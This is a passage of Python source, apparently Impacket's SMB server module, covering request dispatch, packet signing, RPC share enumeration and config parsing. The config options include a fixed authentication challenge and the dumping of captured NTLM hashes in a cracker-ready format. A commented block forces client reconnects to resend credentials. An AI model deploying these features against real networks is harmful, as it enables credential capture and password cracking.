self.__smb2Ioctls\n\n    def getCredentials(self):\n        return self.__credentials\n\n    def removeConnection(self, name):\n        try:\n            del (self.__activeConnections[name])\n        except:\n            pass\n        self.log(\"Remaining connections %s\" % list(self.__activeConnections.keys()))\n\n    def addConnection(self, name, ip, port):\n        self.__activeConnections[name] = {}\n        # Let's init with some know stuff we will need to have\n        # TODO: Document what's in there\n        # print \"Current Connections\", self.__activeConnections.keys()\n        self.__activeConnections[name]['PacketNum'] = 0\n        self.__activeConnections[name]['ClientIP'] = ip\n        self.__activeConnections[name]['ClientPort'] = port\n        self.__activeConnections[name]['Uid'] = 0\n        self.__activeConnections[name]['ConnectedShares'] = {}\n        self.__activeConnections[name]['OpenedFiles'] = {}\n        # SID results for findfirst2\n        self.__activeConnections[name]['SIDs'] = {}\n        self.__activeConnections[name]['LastRequest'] = {}\n        self.__activeConnections[name]['SignatureEnabled'] = False\n        self.__activeConnections[name]['SigningChallengeResponse'] = ''\n        self.__activeConnections[name]['SigningSessionKey'] = b''\n        self.__activeConnections[name]['Authenticated'] = False\n\n    def getActiveConnections(self):\n        return self.__activeConnections\n\n    def setConnectionData(self, connId, data):\n        self.__activeConnections[connId] = data\n        # print \"setConnectionData\"\n        # print self.__activeConnections\n\n    def getConnectionData(self, connId, checkStatus=True):\n        conn = self.__activeConnections[connId]\n        if checkStatus is True:\n            if ('Authenticated' in conn) is not True:\n                # Can't keep going further\n                raise Exception(\"User not Authenticated!\")\n        return conn\n\n    def getRegisteredNamedPipes(self):\n        return self.__registeredNamedPipes\n\n    def registerNamedPipe(self, pipeName, address):\n        self.__registeredNamedPipes[str(pipeName)] = address\n        return True\n\n    def unregisterNamedPipe(self, pipeName):\n        if pipeName in self.__registeredNamedPipes:\n            del (self.__registeredNamedPipes[str(pipeName)])\n            return True\n        return False\n\n    def unregisterTransaction(self, transCommand):\n        if transCommand in self.__smbTransCommands:\n            del (self.__smbTransCommands[transCommand])\n\n    def hookTransaction(self, transCommand, callback):\n        # If you call this function, callback will replace\n        # the current Transaction sub command.\n        # (don't get confused with the Transaction smbCommand)\n        # If the transaction sub command doesn't not exist, it is added\n        # If the transaction sub command exists, it returns the original function         # replaced\n        #\n        # callback MUST be declared as:\n        # callback(connId, smbServer, recvPacket, parameters, data, maxDataCount=0)\n        #\n        # WHERE:\n        #\n        # connId      : the connection Id, used to grab/update information about\n        #               the current connection\n        # smbServer   : the SMBServer instance available for you to ask\n        #               configuration data\n        # recvPacket  : the full SMBPacket that triggered this command\n        # parameters  : the transaction parameters\n        # data        : the transaction data\n        # maxDataCount: the max amount of data that can be transferred agreed\n        #               with the client\n        #\n        # and MUST return:\n        # respSetup, respParameters, respData, errorCode\n        #\n        # WHERE:\n        #\n        # respSetup: the setup response of the transaction\n        # respParameters: the parameters response of the transaction\n        # respData: the data response of the transaction\n        # errorCode: the NT error code\n\n        if transCommand in self.__smbTransCommands:\n            originalCommand = self.__smbTransCommands[transCommand]\n        else:\n            originalCommand = None\n\n        self.__smbTransCommands[transCommand] = callback\n        return originalCommand\n\n    def unregisterTransaction2(self, transCommand):\n        if transCommand in self.__smbTrans2Commands:\n            del (self.__smbTrans2Commands[transCommand])\n\n    def hookTransaction2(self, transCommand, callback):\n        # Here we should add to __smbTrans2Commands\n        # Same description as Transaction\n        if transCommand in self.__smbTrans2Commands:\n            originalCommand = self.__smbTrans2Commands[transCommand]\n        else:\n            originalCommand = None\n\n        self.__smbTrans2Commands[transCommand] = callback\n        return originalCommand\n\n    def unregisterNTTransaction(self, transCommand):\n        if transCommand in self.__smbNTTransCommands:\n            del (self.__smbNTTransCommands[transCommand])\n\n    def hookNTTransaction(self, transCommand, callback):\n        # Here we should add to __smbNTTransCommands\n        # Same description as Transaction\n        if transCommand in self.__smbNTTransCommands:\n            originalCommand = self.__smbNTTransCommands[transCommand]\n        else:\n            originalCommand = None\n\n        self.__smbNTTransCommands[transCommand] = callback\n        return originalCommand\n\n    def unregisterSmbCommand(self, smbCommand):\n        if smbCommand in self.__smbCommands:\n            del (self.__smbCommands[smbCommand])\n\n    def hookSmbCommand(self, smbCommand, callback):\n        # Here we should add to self.__smbCommands\n        # If you call this function, callback will replace\n        # the current smbCommand.\n        # If smbCommand doesn't not exist, it is added\n        # If SMB command exists, it returns the original function replaced\n        #\n        # callback MUST be declared as:\n        # callback(connId, smbServer, SMBCommand, recvPacket)\n        #\n        # WHERE:\n        #\n        # connId    : the connection Id, used to grab/update information about\n        #             the current connection\n        # smbServer : the SMBServer instance available for you to ask\n        #             configuration data\n        # SMBCommand: the SMBCommand itself, with its data and parameters.\n        #             Check smb.py:SMBCommand() for a reference\n        # recvPacket: the full SMBPacket that triggered this command\n        #\n        # and MUST return:\n        # <list of respSMBCommands>, <list of packets>, errorCode\n        # <list of packets> has higher preference over commands, in case you\n        # want to change the whole packet\n        # errorCode: the NT error code\n        #\n        # For SMB_COM_TRANSACTION2, SMB_COM_TRANSACTION and SMB_COM_NT_TRANSACT\n        # the callback function is slightly different:\n        #\n        # callback(connId, smbServer, SMBCommand, recvPacket, transCommands)\n        #\n        # WHERE:\n        #\n        # transCommands: a list of transaction subcommands already registered\n        #\n\n        if smbCommand in self.__smbCommands:\n            originalCommand = self.__smbCommands[smbCommand]\n        else:\n            originalCommand = None\n\n        self.__smbCommands[smbCommand] = callback\n        return originalCommand\n\n    def unregisterSmb2Command(self, smb2Command):\n        if smb2Command in self.__smb2Commands:\n            del (self.__smb2Commands[smb2Command])\n\n    def hookSmb2Command(self, smb2Command, callback):\n        if smb2Command in self.__smb2Commands:\n            originalCommand = self.__smb2Commands[smb2Command]\n        else:\n            originalCommand = None\n\n        self.__smb2Commands[smb2Command] = callback\n        return originalCommand\n\n    def log(self, msg, level=logging.INFO, connData=None):\n        if connData:\n            domain = connData.get('user_domain_name') or \"NULL\"\n            username = connData.get('user_name') or \"NULL\"\n            msg = f\"{domain}\\\\{username}: \" + msg\n        self.__log.log(level, msg)\n\n    def getServerName(self):\n        return self.__serverName\n\n    def getServerOS(self):\n        return self.__serverOS\n\n    def getServerDomain(self):\n        return self.__serverDomain\n\n    def getSMBChallenge(self):\n        return self.__challenge\n\n    def getServerConfig(self):\n        return self.__serverConfig\n\n    def setServerConfig(self, config):\n        self.__serverConfig = config\n\n    def getJTRdumpPath(self):\n        return self.__jtr_dump_path\n\n    def getDumpHashes(self):\n        return self.__dump_hashes\n\n    def getAuthCallback(self):\n        return self.auth_callback\n\n    def setAuthCallback(self, callback):\n        self.auth_callback = callback\n\n    def getKerberosSupport(self):\n        return self.__KerberosSupport\n\n    def getNTLMSupport(self):\n        return self.__NTLMSupport\n\n    def verify_request(self, request, client_address):\n        # TODO: Control here the max amount of processes we want to launch\n        # returning False, closes the connection\n        return True\n\n    def signSMBv1(self, connData, packet, signingSessionKey, signingChallengeResponse):\n        # This logic MUST be applied for messages sent in response to any of the higher-layer actions and in\n        # compliance with the message sequencing rules.\n        #  * The client or server that sends the message MUST provide the 32-bit sequence number for this\n        #    message, as specified in sections 3.2.4.1 and 3.3.4.1.\n        #  * The SMB_FLAGS2_SMB_SECURITY_SIGNATURE flag in the header MUST be set.\n        #  * To generate the signature, a 32-bit sequence number is copied into the\n        #    least significant 32 bits of the SecuritySignature field and the remaining\n        #    4 bytes are set to 0x00.\n        #  * The MD5 algorithm, as specified in [RFC1321], MUST be used to generate a hash of the SMB\n        #    message from the start of the SMB Header, which is defined as follows.\n        #    CALL MD5Init( md5context )\n        #    CALL MD5Update( md5context, Connection.SigningSessionKey )\n        #    CALL MD5Update( md5context, Connection.SigningChallengeResponse )\n        #    CALL MD5Update( md5context, SMB message )\n        #    CALL MD5Final( digest, md5context )\n        #    SET signature TO the first 8 bytes of the digest\n        # The resulting 8-byte signature MUST be copied into the SecuritySignature field of the SMB Header,\n        # after which the message can be transmitted.\n\n        # print \"seq(%d) signingSessionKey %r, signingChallengeResponse %r\" % (connData['SignSequenceNumber'], signingSessionKey, signingChallengeResponse)\n        packet['SecurityFeatures'] = struct.pack('<q', connData['SignSequenceNumber'])\n        # Sign with the sequence\n        m = hashlib.md5()\n        m.update(signingSessionKey)\n        m.update(signingChallengeResponse)\n        if hasattr(packet, 'getData'):\n            m.update(packet.getData())\n        else:\n            m.update(packet)\n        # Replace sequence with acual hash\n        packet['SecurityFeatures'] = m.digest()[:8]\n        connData['SignSequenceNumber'] += 2\n\n    def signSMBv2(self, packet, signingSessionKey, padLength=0):\n        packet['Signature'] = b'\\x00' * 16\n        packet['Flags'] |= smb2.SMB2_FLAGS_SIGNED\n        packetData = packet.getData() + b'\\x00' * padLength\n        signature = hmac.new(signingSessionKey, packetData, hashlib.sha256).digest()\n        packet['Signature'] = signature[:16]\n        # print \"%s\" % packet['Signature'].encode('hex')\n\n    def processRequest(self, connId, data):\n\n        # TODO: Process batched commands.\n        isSMB2 = False\n        SMBCommand = None\n        try:\n            packet = smb.NewSMBPacket(data=data)\n            SMBCommand = smb.SMBCommand(packet['Data'][0])\n        except:\n            # Maybe a SMB2 packet?\n            packet = smb2.SMB2Packet(data=data)\n            connData = self.getConnectionData(connId, False)\n            self.signSMBv2(packet, connData['SigningSessionKey'])\n            isSMB2 = True\n\n        connData = self.getConnectionData(connId, False)\n\n        # We might have compound requests\n        compoundedPacketsResponse = []\n        compoundedPackets = []\n        try:\n            # Search out list of implemented commands\n            # We provide them with:\n            # connId      : representing the data for this specific connection\n            # self        : the SMBSERVER if they want to ask data to it\n            # SMBCommand  : the SMBCommand they are expecting to process\n            # packet      : the received packet itself, in case they need more data than the actual command\n            # Only for Transactions\n            # transCommand: a list of transaction subcommands\n            # We expect to get:\n            # respCommands: a list of answers for the commands processed\n            # respPacket  : if the commands chose to directly craft packet/s, we use this and not the previous\n            #               this MUST be a list\n            # errorCode   : self explanatory\n            if isSMB2 is False:\n                # Is the client authenticated already?\n                if connData['Authenticated'] is False and packet['Command'] not in (\n                smb.SMB.SMB_COM_NEGOTIATE, smb.SMB.SMB_COM_SESSION_SETUP_ANDX):\n                    # Nope.. in that case he should only ask for a few commands, if not throw him out.\n                    errorCode = STATUS_ACCESS_DENIED\n                    respPackets = None\n                    respCommands = [smb.SMBCommand(packet['Command'])]\n                else:\n                    if packet['Command'] == smb.SMB.SMB_COM_TRANSACTION2:\n                        respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](\n                            connId,\n                            self,\n                            SMBCommand,\n                            packet,\n                            self.__smbTrans2Commands)\n                    elif packet['Command'] == smb.SMB.SMB_COM_NT_TRANSACT:\n                        respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](\n                            connId,\n                            self,\n                            SMBCommand,\n                            packet,\n                            self.__smbNTTransCommands)\n                    elif packet['Command'] == smb.SMB.SMB_COM_TRANSACTION:\n                        respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](\n                            connId,\n                            self,\n                            SMBCommand,\n                            packet,\n                            self.__smbTransCommands)\n                    else:\n                        if packet['Command'] in self.__smbCommands:\n                            if self.__SMB2Support is True:\n                                if packet['Command'] == smb.SMB.SMB_COM_NEGOTIATE:\n                                    try:\n                                        respCommands, respPackets, errorCode = self.__smb2Commands[smb2.SMB2_NEGOTIATE](\n                                            connId, self, packet, True)\n                                        isSMB2 = True\n                                    except Exception as e:\n                                        import traceback\n                                        traceback.print_exc()\n                                        self.log('SMB2_NEGOTIATE: %s' % e, logging.ERROR)\n                                        # If something went wrong, let's fallback to SMB1\n                                        respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](\n                                            connId,\n                                            self,\n                                            SMBCommand,\n                                            packet)\n                                        # self.__SMB2Support = False\n                                        pass\n                                else:\n                                    respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](\n                                        connId,\n                                        self,\n                                        SMBCommand,\n                                        packet)\n                            else:\n                                respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](\n                                    connId,\n                                    self,\n                                    SMBCommand,\n                                    packet)\n                        else:\n                            respCommands, respPackets, errorCode = self.__smbCommands[255](connId, self, SMBCommand,\n                                                                                           packet)\n\n                compoundedPacketsResponse.append((respCommands, respPackets, errorCode))\n                compoundedPackets.append(packet)\n\n            else:\n                # Is the client authenticated already?\n                if connData['Authenticated'] is False and packet['Command'] not in (\n                smb2.SMB2_NEGOTIATE, smb2.SMB2_SESSION_SETUP):\n                    # Nope.. in that case he should only ask for a few commands, if not throw him out.\n                    errorCode = STATUS_ACCESS_DENIED\n                    respPackets = None\n                    respCommands = ['']\n                    compoundedPacketsResponse.append((respCommands, respPackets, errorCode))\n                    compoundedPackets.append(packet)\n                else:\n                    done = False\n                    while not done:\n                        if packet['Command'] in self.__smb2Commands:\n                            if self.__SMB2Support is True:\n                                respCommands, respPackets, errorCode = self.__smb2Commands[packet['Command']](\n                                    connId,\n                                    self,\n                                    packet)\n                            else:\n                                respCommands, respPackets, errorCode = self.__smb2Commands[255](connId, self, packet)\n                        else:\n                            respCommands, respPackets, errorCode = self.__smb2Commands[255](connId, self, packet)\n                        # Let's store the result for this compounded packet\n                        compoundedPacketsResponse.append((respCommands, respPackets, errorCode))\n                        compoundedPackets.append(packet)\n                        if packet['NextCommand'] != 0:\n                            data = data[packet['NextCommand']:]\n                            packet = smb2.SMB2Packet(data=data)\n                        else:\n                            done = True\n\n        except Exception as e:\n            # import traceback\n            # traceback.print_exc()\n            # Something wen't wrong, defaulting to Bad user ID\n            self.log('processRequest (0x%x,%s)' % (packet['Command'], e), logging.ERROR)\n            raise\n\n        # We prepare the response packet to commands don't need to bother about that.\n        connData = self.getConnectionData(connId, False)\n\n        # Force reconnection loop.. This is just a test.. client will send me back credentials :)\n        # connData['PacketNum'] += 1\n        # if connData['PacketNum'] == 15:\n        #    connData['PacketNum'] = 0\n        #    # Something wen't wrong, defaulting to Bad user ID\n        #    self.log('Sending BAD USER ID!', logging.ERROR)\n        #    #raise\n        #    packet['Flags1'] |= smb.SMB.FLAGS1_REPLY\n        #    packet['Flags2'] = 0\n        #    errorCode = STATUS_SMB_BAD_UID\n        #    packet['ErrorCode']   = errorCode >> 16\n        #    packet['ErrorClass']  = errorCode & 0xff\n        #    return [packet]\n\n        self.setConnectionData(connId, connData)\n\n        packetsToSend = []\n        for packetNum in range(len(compoundedPacketsResponse)):\n            respCommands, respPackets, errorCode = compoundedPacketsResponse[packetNum]\n            packet = compoundedPackets[packetNum]\n            if respPackets is None:\n                for respCommand in respCommands:\n                    if isSMB2 is False:\n                        respPacket = smb.NewSMBPacket()\n                        respPacket['Flags1'] = smb.SMB.FLAGS1_REPLY\n\n                        # TODO this should come from a per session configuration\n                        respPacket[\n                            'Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \\\n                                        packet['Flags2'] & smb.SMB.FLAGS2_UNICODE\n                        # respPacket['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES\n                        # respPacket['Flags1'] = 0x98\n                        # respPacket['Flags2'] = 0xc807\n\n                        respPacket['Tid'] = packet['Tid']\n                        respPacket['Mid'] = packet['Mid']\n                        respPacket['Pid'] = packet['Pid']\n                        respPacket['Uid'] = connData['Uid']\n\n                        respPacket['ErrorCode'] = errorCode >> 16\n                        respPacket['_reserved'] = errorCode >> 8 & 0xff\n                        respPacket['ErrorClass'] = errorCode & 0xff\n                        respPacket.addCommand(respCommand)\n\n                        if connData['SignatureEnabled']:\n                            respPacket['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE\n                            self.signSMBv1(connData, respPacket, connData['SigningSessionKey'],\n                                           connData['SigningChallengeResponse'])\n\n                        packetsToSend.append(respPacket)\n                    else:\n                        respPacket = smb2.SMB2Packet()\n                        respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR\n                        if packetNum > 0:\n                            respPacket['Flags'] |= smb2.SMB2_FLAGS_RELATED_OPERATIONS\n                        respPacket['Status'] = errorCode\n                        respPacket['CreditRequestResponse'] = packet['CreditRequestResponse']\n                        respPacket['Command'] = packet['Command']\n                        respPacket['CreditCharge'] = packet['CreditCharge']\n                        # respPacket['CreditCharge'] = 0\n                        respPacket['Reserved'] = packet['Reserved']\n                        respPacket['SessionID'] = connData['Uid']\n                        respPacket['MessageID'] = packet['MessageID']\n                        respPacket['TreeID'] = packet['TreeID']\n                        if hasattr(respCommand, 'getData'):\n                            respPacket['Data'] = respCommand.getData()\n                        else:\n                            respPacket['Data'] = str(respCommand)\n\n                        packetsToSend.append(respPacket)\n            else:\n                # The SMBCommand took care of building the packet\n                packetsToSend = respPackets\n\n        if isSMB2 is True:\n            # Let's build a compound answer and sign it\n            finalData = []\n            totalPackets = len(packetsToSend)\n            for idx, packet in enumerate(packetsToSend):\n                padLen = -len(packet) % 8\n                if idx + 1 < totalPackets:\n                    packet['NextCommand'] = len(packet) + padLen\n\n                if connData['SignatureEnabled']:\n                    self.signSMBv2(packet, connData['SigningSessionKey'], padLength=padLen)\n\n                if hasattr(packet, 'getData'):\n                    finalData.append(packet.getData() + padLen * b'\\x00')\n                else:\n                    finalData.append(packet + padLen * b'\\x00')\n\n            packetsToSend = [b\"\".join(finalData)]\n\n        # We clear the compound requests\n        connData['LastRequest'] = {}\n\n        return packetsToSend\n\n    def processConfigFile(self, configFile=None):\n        # TODO: Do a real config parser\n        if self.__serverConfig is None:\n            if configFile is None:\n                configFile = 'smb.conf'\n            self.__serverConfig = configparser.ConfigParser()\n            self.__serverConfig.read(configFile)\n\n        self.__serverName = self.__serverConfig.get('global', 'server_name')\n        self.__serverOS = self.__serverConfig.get('global', 'server_os')\n        self.__serverDomain = self.__serverConfig.get('global', 'server_domain')\n\n        if self.__serverConfig.has_option('global', 'computer_account_name'):\n            self.__computerAccountName = self.__serverConfig.get('global', 'computer_account_name')\n            self.__computerAccountNTHash = self.__serverConfig.get('global', 'computer_account_hash')\n            self.__computerAccountAES = self.__serverConfig.get('global', 'computer_account_aes')\n            self.__computerAccountPassword = self.__serverConfig.get('global', 'computer_account_password')\n            self.__computerAccountDomain = self.__serverConfig.get('global', 'computer_account_domain')\n            self.__domainControllerIP = self.__serverConfig.get('global', 'dcip')\n\n        self.__logFile = self.__serverConfig.get('global', 'log_file')\n        if self.__serverConfig.has_option('global', 'challenge'):\n            self.__challenge = unhexlify(self.__serverConfig.get('global', 'challenge'))\n        else:\n            self.__challenge = b'A' * 8\n\n        if self.__serverConfig.has_option(\"global\", \"jtr_dump_path\"):\n            self.__jtr_dump_path = self.__serverConfig.get(\"global\", \"jtr_dump_path\")\n\n        if self.__serverConfig.has_option(\"global\", \"dump_hashes\"):\n            self.__dump_hashes = self.__serverConfig.getboolean(\"global\", \"dump_hashes\")\n        else:\n            self.__dump_hashes = False\n\n        if self.__serverConfig.has_option(\"global\", \"SMB2Support\"):\n            self.__SMB2Support = self.__serverConfig.getboolean(\"global\", \"SMB2Support\")\n        else:\n            self.__SMB2Support = False\n\n        if self.__serverConfig.has_option(\"global\", \"DropSSP\"):\n            self.__dropSSP = self.__serverConfig.getboolean(\"global\", \"DropSSP\")\n        else:\n            self.__dropSSP = False\n        if self.__serverConfig.has_option(\"global\", \"KerberosSupport\"):\n            self.__KerberosSupport = self.__serverConfig.getboolean(\"global\", \"KerberosSupport\")\n        else:\n            self.__KerberosSupport = False\n        \n        if self.__serverConfig.has_option(\"global\", \"NTLMSupport\"):\n            self.__NTLMSupport = self.__serverConfig.getboolean(\"global\", \"NTLMSupport\")\n        else:\n            self.__NTLMSupport = True\n\n        if self.__serverConfig.has_option(\"global\", \"anonymous_logon\"):\n            self.__anonymousLogon = self.__serverConfig.getboolean(\"global\", \"anonymous_logon\")\n        else:\n            self.__anonymousLogon = True\n\n        if self.__logFile != 'None':\n            logging.basicConfig(filename=self.__logFile,\n                                level=logging.DEBUG,\n                                format=\"%(asctime)s: %(levelname)s: %(message)s\",\n                                datefmt='%m/%d/%Y %I:%M:%S %p',\n                                force=True)\n        self.__log = LOG\n\n        # Process the credentials\n        credentials_fname = self.__serverConfig.get('global', 'credentials_file')\n        if credentials_fname != \"\":\n            cred = open(credentials_fname)\n            line = cred.readline()\n            while line:\n                name, uid, lmhash, nthash = line.split(':')\n                self.__credentials[name.lower()] = (uid, lmhash, nthash.strip('\\r\\n'))\n                line = cred.readline()\n            cred.close()\n        self.log('Config file parsed')\n\n    def addCredential(self, name, uid, lmhash, nthash):\n        # If we have hashes, normalize them\n        if lmhash != '' or nthash != '':\n            if len(lmhash) % 2:\n                lmhash = '0%s' % lmhash\n            if len(nthash) % 2:\n                nthash = '0%s' % nthash\n            try:  # just in case they were converted already\n                lmhash = a2b_hex(lmhash)\n                nthash = a2b_hex(nthash)\n            except:\n                pass\n        self.__credentials[name.lower()] = (uid, lmhash, nthash)\n\n    def setComputerAccountCredentials(self, username, domain, dcip, nthash=\"\", aes=\"\", password=\"\"):\n        self.__computerAccountName = username\n        self.__computerAccountNTHash = nthash\n        self.__computerAccountAES = aes\n        self.__computerAccountPassword = password\n        self.__computerAccountDomain = domain\n        self.__domainControllerIP = dcip\n\n    def getComputerAccountCredentials(self):\n        return {\n            \"username\": self.__computerAccountName,\n            \"nthash\": self.__computerAccountNTHash,\n            \"aes\": self.__computerAccountAES,\n            \"password\": self.__computerAccountPassword,\n            \"domain\": self.__computerAccountDomain,\n            \"dcip\": self.__domainControllerIP\n        }\n\n\n# For windows platforms, opening a directory is not an option, so we set a void FD\nVOID_FILE_DESCRIPTOR = -1\nPIPE_FILE_DESCRIPTOR = -2\n\n######################################################################\n# HELPER CLASSES\n######################################################################\n\nfrom impacket.dcerpc.v5.rpcrt import DCERPCServer\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5.srvs import NetrShareEnum, NetrShareEnumResponse, SHARE_INFO_1, NetrServerGetInfo, \\\n    NetrServerGetInfoResponse, NetrShareGetInfo, NetrShareGetInfoResponse\nfrom impacket.dcerpc.v5.wkst import NetrWkstaGetInfo, NetrWkstaGetInfoResponse\nfrom impacket.system_errors import ERROR_INVALID_LEVEL\n\n\nclass WKSTServer(DCERPCServer):\n    def __init__(self):\n        DCERPCServer.__init__(self)\n        self.wkssvcCallBacks = {\n            0: self.NetrWkstaGetInfo,\n        }\n        self.addCallbacks(('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'), '\\\\PIPE\\\\wkssvc', self.wkssvcCallBacks)\n\n    def NetrWkstaGetInfo(self, data):\n        request = NetrWkstaGetInfo(data)\n        self.log(\"NetrWkstaGetInfo Level: %d\" % request['Level'])\n\n        answer = NetrWkstaGetInfoResponse()\n\n        if request['Level'] not in (100, 101):\n            answer['ErrorCode'] = ERROR_INVALID_LEVEL\n            return answer\n\n        answer['WkstaInfo']['tag'] = request['Level']\n\n        if request['Level'] == 100:\n            # Windows. Decimal value 500.\n            answer['WkstaInfo']['WkstaInfo100']['wki100_platform_id'] = 0x000001F4\n            answer['WkstaInfo']['WkstaInfo100']['wki100_computername'] = NULL\n            answer['WkstaInfo']['WkstaInfo100']['wki100_langroup'] = NULL\n            answer['WkstaInfo']['WkstaInfo100']['wki100_ver_major'] = 5\n            answer['WkstaInfo']['WkstaInfo100']['wki100_ver_minor'] = 0\n        else:\n            # Windows. Decimal value 500.\n            answer['WkstaInfo']['WkstaInfo101']['wki101_platform_id'] = 0x000001F4\n            answer['WkstaInfo']['WkstaInfo101']['wki101_computername'] = NULL\n            answer['WkstaInfo']['WkstaInfo101']['wki101_langroup'] = NULL\n            answer['WkstaInfo']['WkstaInfo101']['wki101_ver_major'] = 5\n            answer['WkstaInfo']['WkstaInfo101']['wki101_ver_minor'] = 0\n            answer['WkstaInfo']['WkstaInfo101']['wki101_lanroot'] = NULL\n\n        return answer\n\n\nclass SRVSServer(DCERPCServer):\n    def __init__(self):\n        DCERPCServer.__init__(self)\n\n        self._shares = {}\n        self.__serverConfig = None\n        self.__logFile = None\n\n        self.srvsvcCallBacks = {\n            15: self.NetrShareEnum,\n            16: self.NetrShareGetInfo,\n            21: self.NetrServerGetInfo,\n        }\n\n        self.addCallbacks(('4B324FC8-1670-01D3-1278-5A47BF6EE188', '3.0'), '\\\\PIPE\\\\srvsvc', self.srvsvcCallBacks)\n\n    def setServerConfig(self, config):\n        self.__serverConfig = config\n\n    def processConfigFile(self, configFile=None):\n        if configFile is not None:\n            self.__serverConfig = configparser.ConfigParser()\n            self.__serverConfig.read(configFile)\n        sections = self.__serverConfig.sections()\n        # Let's check the log file\n        self.__logFile = self.__serverConfig.get('global', 'log_file')\n        if self.__logFile != 'None':\n            logging.basicConfig(filename=self.__logFile,\n                                level=logging.DEBUG,\n                                format=\"%(asctime)s: %(levelname)s: %(message)s\",\n                                datefmt='%m/%d/%Y %I:%M:%S %p')\n\n        # Remove the global one\n        del (sections[sections.index('global')])\n        self._shares = {}\n        for i in sections:\n            self._shares[i] = dict(self.__serverConfig.items(i))\n\n    def NetrShareGetInfo(self, data):\n        request = NetrShareGetInfo(data)\n        self.log(\"NetrGetShareInfo Level: %d\" % request['Level'])\n\n        s = request['NetName'][:-1].upper()\n        answer = NetrShareGetInfoResponse()\n        if s in self._shares:\n            share = self._shares[s]\n\n            answer['InfoStruct']['tag'] = 1\n            answer['InfoStruct']['ShareInfo1']['shi1_netname'] = s + '\\x00'\n            answer['InfoStruct']['ShareInfo1']['shi1_type'] = share['share type']\n            answer['InfoStruct']['ShareInfo1']['shi1_remark'] = share['comment'] + '\\x00'\n            answer['ErrorCode'] = 0\n        else:\n            answer['InfoStruct']['tag'] = 1\n            answer['InfoStruct']['ShareInfo1'] = NULL\n            answer['ErrorCode'] = 0x0906  # WERR_NET_NAME_NOT_FOUND\n\n        return answer\n\n    def NetrServerGetInfo(self, data):\n        request = NetrServerGetInfo(data)\n        self.log(\"NetrServerGetInfo Level: %d\" % request['Level'])\n        answer = NetrServerGetInfoResponse()\n        answer['InfoStruct']['tag'] = 101\n        # PLATFORM_ID_NT = 500\n        answer['InfoStruct']['ServerInfo101']['sv101_platform_id'] = 500\n        answer['InfoStruct']['ServerInfo101']['sv101_name'] = request['ServerName']\n        # Windows 7 = 6.1\n        answer['InfoStruct']['ServerInfo101']['sv101_version_major'] = 6\n        answer['InfoStruct']['ServerInfo101']['sv101_version_minor'] = 1\n        # Workstation = 1\n        answer['InfoStruct']['ServerInfo101']['sv101_type'] = 1\n        answer['InfoStruct']['ServerInfo101']['sv101_comment'] = NULL\n        answer['ErrorCode'] = 0\n        return answer\n\n    def NetrShareEnum(self, data):\n        request = NetrShareEnum(data)\n        self.log(\"NetrShareEnum Level: %d\" % request['InfoStruct']['Level'])\n        shareEnum = NetrShareEnumResponse()\n        shareEnum['InfoStruct']['Level'] = 1\n        shareEnum['InfoStruct']['ShareInfo']['tag'] = 1\n        shareEnum['TotalEntries'] = len(self._shares)\n        shareEnum['InfoStruct']['ShareInfo']['Level1']['EntriesRead'] = len(self._shares)\n        shareEnum['ErrorCode'] = 0\n\n        for i in self._shares:\n            shareInfo = SHARE_INFO_1()\n            shareInfo['shi1_netname'] = i + '\\x00'\n            shareInfo['shi1_type'] = self._shares[i]['share type']\n            shareInfo['shi1_remark'] = self._shares[i]['comment'] + '\\x00'\n            shareEnum['InfoStruct']['ShareInfo']['Level1']['Buffer'].append(shareInfo)\n\n        return shareEnum\n\n\nclass SimpleSMBServer:\n    \"\"\"\n    SimpleSMBServer class - Implements a simple, customizable SMB Server\n\n    :param string listenAddress: the address you want the server to listen on\n    :param integer listenPort: the port number you want the server to listen on\n    :param string configFile: a file with all the servers' configuration. If no file specified, this class will create the basic parameters needed to run. You will need to add your shares manually tho. See addShare() method\n    \"\"\"\n\n    def __init__(self, listenAddress='0.0.0.0', listenPort=445, configFile='', smbserverclass=SMBSERVER, ipv6=False):\n        if configFile != '':\n            self.__server = smbserverclass((listenAddress, listenPort), ipv6=ipv6)\n            self.__server.processConfigFile(configFile)\n            self.__smbConfig = None\n        else:\n            # Here we write a mini config for the server\n            self.__smbConfig = configparser.ConfigParser()\n            self.__smbConfig.add_section('global')\n            self.__smbConfig.set('global', 'server_name',\n                                 ''.join([random.choice(string.ascii_letters) for _ in range(8)]))\n            self.__smbConfig.set('global', 'server_os', ''.join([random.choice(string.ascii_letters) for _ in range(8)])\n                                 )\n            self.__smbConfig.set('global', 'server_domain',\n                                 ''.join([random.choice(string.ascii_letters) for _ in range(8)])\n                                 )\n            self.__smbConfig.set('global', 'log_file', 'None')\n            self.__smbConfig.set('global', 'rpc_apis', 'yes')\n            self.__smbConfig.set('global', 'credentials_file', '')\n            self.__smbConfig.set('global', 'challenge', \"A\" * 16)\n\n            # IPC always needed\n            self.__smbConfig.add_section('IPC$')\n            self.__smbConfig.set('IPC$', 'comment', '')\n            self.__smbConfig.set('IPC$', 'read only', 'yes')\n            self.__smbConfig.set('IPC$', 'share type', '3')\n            self.__smbConfig.set('IPC$', 'path', '')\n            self.__server = smbserverclass((listenAddress, listenPort), config_parser=self.__smbConfig, ipv6=ipv6)\n            self.__server.processConfigFile()\n\n        # Now we have to register the MS-SRVS server. This specially important for\n        # Windows 7+ and Mavericks clients since they WON'T (specially OSX)\n        # ask for shares using MS-RAP.\n\n        self.__srvsServer = SRVSServer()\n        self.__srvsServer.daemon=True\n        self.__wkstServer = WKSTServer()\n        self.__wkstServer.daemon=True\n        self.__server.registerNamedPipe('srvsvc', ('127.0.0.1', self.__srvsServer.getListenPort()))\n        self.__server.registerNamedPipe('wkssvc', ('127.0.0.1', self.__wkstServer.getListenPort()))\n\n    def getServer(self):\n        return self.__server\n\n    def start(self):\n        self.__srvsServer.start()\n        self.__wkstServer.start()\n        